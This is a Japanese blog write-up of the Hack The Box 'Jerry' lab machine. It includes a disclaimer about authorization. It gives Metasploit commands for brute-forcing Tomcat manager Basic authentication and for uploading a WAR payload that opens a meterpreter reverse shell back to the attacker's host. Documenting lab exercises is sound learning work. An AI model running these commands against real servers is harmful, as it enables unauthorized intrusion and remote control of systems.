Hack The Boxをやってみる②

10ヶ月くらい前から、Hack The Boxというサイトに入っている。
ペネトレーションテストの勉強をするサイトだ。


ご注意:
ペネトレーションテスト等、セキュリティ研究やテストを行う際は、常に倫理的な行動をとり、対象システムの所有者から適切な許可を得て行うことが重要です。不正アクセスや攻撃は法律で禁止されており、重大な法的責任が伴います。
なので、あくまでも練習として、練習用のサーバーで行うのは、オッケーだが、ガチで実在のサーバーに対して、無許可で行うのは、捕まるので絶対やめた方がよい。

フォースを使っても、暗黒面に落ちではいけないのだ。

StartingPointを一通りやってしまい、次はどうするか、何をやろうか、悩んでいた。
StartingPoint以外にも、いろいろとあるのだけど、ヒントがない問題が多く、さらに攻撃対象のマシンが消えてしまったりするんだ。

検索していたところ、以下のサイトを見つけた。
https://eset-info.canon-its.jp/malware_info/special/detail/240123.html
これによると、

  • 「Tracks」というカテゴリは、問題がカテゴリ分けされており、ヒントも多く、マシンが消えることもなさそう。
  • 「Challenges」というカテゴリは、サーバー攻撃だけでなく、暗号解析等のCTF用の問題も取り揃えているらしい。

もともと、ペネトレーションテストよりも、CTF競技の腕を磨きたかったので、これはうれしい。

Tracksのなかの問題をやってみよう!

そこで、今回は、Tracksの中の、Intro to Red Teamの中の、Jerryという出題をやってみた。

  • TOMCATが動いている。
  • TOMCAT管理画面に行ってみる。
  • Basic認証がかかっているので、よくあるユーザーとパスワードで突破する。
  • 管理画面から、リバースシェルを行うWARファイルをアップロードして実行。
  • リバースシェルにて、サーバー内からフラグをゲット。

やり方は多岐にわたるし、ここでは詳しく書かない。下記の書き込みとかを参考にしてほしい。
https://qiita.com/gadagizi/items/048f7fa2248d950e40db

Basic認証突破の詳細

今回は、Basic認証の突破の部分を特に書こう。
Basic認証で、僕の場合は、Tomcatのディフォルトユーザーとパスワードを調べて突破したけど、もう少しシステマティックにもできる。
例えば、hydraという、辞書攻撃ツールを使うとか、metaloitという統合ペネトレーションツールを使うとか。

Hydraを使う方法は、以下が参考になるだろう。
https://qiita.com/yu15_/items/88c5b3403260c1519943

metaploitを使ったBasic認証の辞書攻撃

今回は、metaploitという統合ペネトレーションツールが気になったのでそちらを試してみた。

ターミナル画面で、以下の起動コマンドを実行する。

msfconsole

その後、以下のコマンドを実行していく。
ヒントから、ユーザー名は、tomcatとわかっているので、set USERNAMEでそれを指定。
わかってないなら、設定しなくても良い。初期のユーザーリストが使われるらしい。
set PASSWORDは、設定しなければ、初期のパスワードリストが使われるみたい。

use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS <ターゲットのIPアドレス>
set USERNAME tomcat
set PASSWORD <パスワードリストパス>
run

すると、ユーザーIDとパスワードの組を探してくれる。

ここで、Login Successfulと表示されたものが、正しいユーザーIDと、パスワードの組だ。
Successfulになっても、ずっとパスワードを探し続けるので、Ctrl+Cで強制終了しよう。

リバースシェル確立のためのWARファイルを作る

WARファイルを作る

僕の場合、warファイルを作ったけどうまくいかなかった。
https://qiita.com/gadagizi/items/048f7fa2248d950e40db
 にて
msfvenom を使って、warファイルを作る方法が紹介されているので、参考にした。

metaploitを使うとWARファイル作成から確立まで全自動

しかし、これもmetaploitを使うと、

  • warファイルの作成
  • warファイルのアップロード
  • warファイルの実行
  • リバースシェルの確立

をすべて自動でやってくれる。

metaloitを使ったやり方は、以下の通り

起動コマンドを実行。

msfconsole

以下のコマンドを入力。

use exploit/multi/http/tomcat_mgr_upload
set RHOSTS <ターゲットのIPアドレス>
set RPORT 8080
set HTTPUSERNAME <取得したユーザー名>
set HTTPPASSWORD <取得したパスワード>
set LHOST <自分のIPアドレス>
set LPORT <自分のポート番号>
set PAYLOAD java/meterpreter/reverse_tcp

しばらくすると、リバースシェルが確立される。

相手はWindowsっぽいので、dirコマンドを打ってみよう。

なんとなく思ったのだけど、WARファイルを作る、「msfvenom」と、metaploitの起動コマンドの、「msfconsole」は、どちらも「msf」で始まる。
調べたところ、msfvenomは、metaploitの1モジュールなのだそうだ。

コメント

タイトルとURLをコピーしました